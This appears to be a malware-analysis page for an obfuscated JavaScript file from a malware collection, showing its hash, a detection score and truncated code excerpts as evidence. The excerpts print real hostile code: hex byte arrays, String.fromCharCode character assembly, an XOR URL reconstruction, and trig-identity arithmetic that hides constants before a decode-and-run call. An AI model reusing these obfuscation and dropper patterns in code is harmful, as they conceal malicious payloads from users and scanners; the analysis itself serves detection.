Suspicious ^80% javascript-malware-collection Download

20151217_032c3f42c1b4f97d5701a8d451a575e1.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256c3851badd628a444f10d66730e83eac3a9aefe8f3d6e38fd78fbd60af1d25e99

Evidence

0xff hex byte token line 1

1:198… xbf,0xc5,0xc8,0xcf,0xd5,0xd9,0xe0,0xe3,0xe8,0xeb,0xf4,0xf6,0xfe,0xff,0x106,0x109,0x110,0x116,0x11a,0x120,0x123,0x12a,0x12f,0x131,0x138,0x13b,0x144,0x146,0x14c,0x153,0x157,0x15d,0x160,0x165,0x169,0 …

Builds characters with String.fromCharCode line 2

2:158… 'G','C','p','A','4','G','y','D','!','y','D','_','(','[','r','C',String.fromCharCode(10),'Y','1','F','b','a','r','%','R','c','9','g',String.fromCharCode(13),'x','n','4','F',')','@','*','^','L','"','e','$','R','!','Y','X','`','b','F','o','s','h','>','P','!','j','3','_','*','2','=','+','U','+','.','K','[','5','g','e …

XOR URL reconstruction call line 2

2:774… 'D',' ','$','B','%','A','a','D','K','C','&','t','K','d','S','n',String.fromCharCode(39),'M','R','(','O','?','u','O',']','/',')','q','"','j','P','K','*','j','h','z','+','.','w','M','+','S','C',',','5','$','-','v','d','f','n','.','>','2','/','p','d','`','^','f','0','I','^','0','j','1','z','E','v','"','R','H',':','2','3','N','7','A','-','H','P','4','g','/','5',';','p','%','=','l','; …

Dense indexed short-token grid lines 12–13

12:33… OBKHExB,QjsNBjwsqfB) {oTZhrNaWGhXeiy[zkQwrXOBKHExB]=QjsNBjwsqfB;}
13var S = new Array();S[0]=[];S[0][0]='d';S[0][1]='a';S[0][2]='d';S[0][3]='a';S[0][4]='46';S[0][5]='3d';S[0][6]='42';S[0][7]='14';S[0][8]='3e';S[0][9]='14';S[0][10]='25';S[0][11]='14';S[0][12]='16';S[0][13]='47';S[0][14]='3k';S[0][15]='3d';S[0][16]='44';S[0][17]='3g';S[0][18]='3l';S[0][19]='3g';S[0][20]='49';S[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],S[4],S[5]];
20var zQdeJNahj=[];
21function JgqQaIVqUYXtQHTMu(mhjOF){hABJMkiSfzl= '';BMHwqbTWQVM=Math.round((Math.pow(Math.sin(350), 2) + Math.pow(Math.cos(350), 2) - 1));while(true){if (BMHwqbTWQVM >= (5206+668)/979){break;}zQdeJNahj[BMHwqbTWQVM]=Math.round((Math.pow(Math.sin(557), 2) + Math.pow(Math.cos(557), 2) - 1)); while(true) { if(zQdeJNahj[BMHwqbTWQVM] > mhjOF[BMHwqbTWQVM].length-(-363+648)/285) { break; } if (KnSMNSd(xBLxr(mhjOF[BMHwqbTWQVM][zQdeJNahj[BMHwqbTWQVM]],(12641+575)/472,(671+39)/71))) {hABJMkiSfzl += VaBtYCchcOGJcSaiRxePtIinhxEIcPmtLkZfSoYsXQxFOUfmVUINrJ([mhjOF[BMHwqbTWQVM][zQdeJNahj[BMHwqbTWQVM]]], Math.round((Math.pow(Math.sin(438), 2) + Math.pow(Math.cos(438), 2) - 1)));} zQdeJNahj[BMHwqbTWQVM]++;}BMHwqbTWQVM++;} return hABJMkiSfzl}
22var mWTtPcZZKhGrnaxGJfDoOqHfXCuzgptDX = 'RTiibCYhvzFAsDsCvIQjrNrcwLtcZfaXUoSe';var KFAFltISiqqmIXFBOEWXuUhwxcgspujK = 'RDEAIxGBDYdAiFsjUMRItXJmiQcohSlFjVbr';DOghSDqaJcPtARY(JgqQaIVqUYXtQHTMu(mhjOF),mWTtPcZZKhGrnaxGJfDoOqHfXCuzgptDX,KFAFltISiqqmIXFBOEWXuUhwxcgspujK);